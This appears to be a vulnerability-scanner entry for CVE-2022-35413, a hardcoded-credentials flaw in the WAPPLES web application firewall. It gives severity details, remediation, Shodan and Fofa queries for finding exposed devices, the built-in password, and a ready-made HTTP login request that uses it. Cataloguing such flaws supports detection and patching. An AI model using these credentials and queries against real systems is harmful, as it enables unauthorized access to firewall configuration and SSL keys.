| Title | WAPPLES Web Application Firewall <=6.0 - Hardcoded Credentials |
|---|---|
| Author | For3stCo1d |
| Severity | Critical |
| Impact | An attacker can exploit this vulnerability to gain unauthorized access to the WAPPLES Web Application Firewall. |
| Remediation | Upgrade to a version of WAPPLES Web Application Firewall that does not contain hardcoded credentials or apply the vendor-provided patch to fix the vulnerability. |
| CVSS Score | 9.8 |
| EPSS Score | 0.85969 |
| CVE ID | CVE-2022-35413 |
| CWE ID | CWE-798 |
| Shodan Query | http.title:"Intelligent WAPPLES"http.title:"intelligent wapples" |
| Fofa Query | title="intelligent wapples" |
| Tags | cve cve2022 wapples firewall default-login pentasecurity vkev vuln |
WAPPLES Web Application Firewall through 6.0 contains a hardcoded credentials vulnerability. It contains a hardcoded system account accessible via db/wp.no1, as configured in the /opt/penta/wapples/script/wcc_auto_scaling.py file. An attacker can use this account to access system configuration and confidential information, such as SSL keys, via an HTTPS request to the /webapi/ URI on port 443 or 5001.
POST /webapi/auth HTTP/1.1
Host: www.victim.com
User-Agent: Mozilla/5.0 (ZZ; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/140.0.0.0 Safari/537.36
Content-Length: 29
Content-Type: application/x-www-form-urlencoded
Accept-Encoding: gzip
Connection: close
id=systemi&password=db/wp.no1
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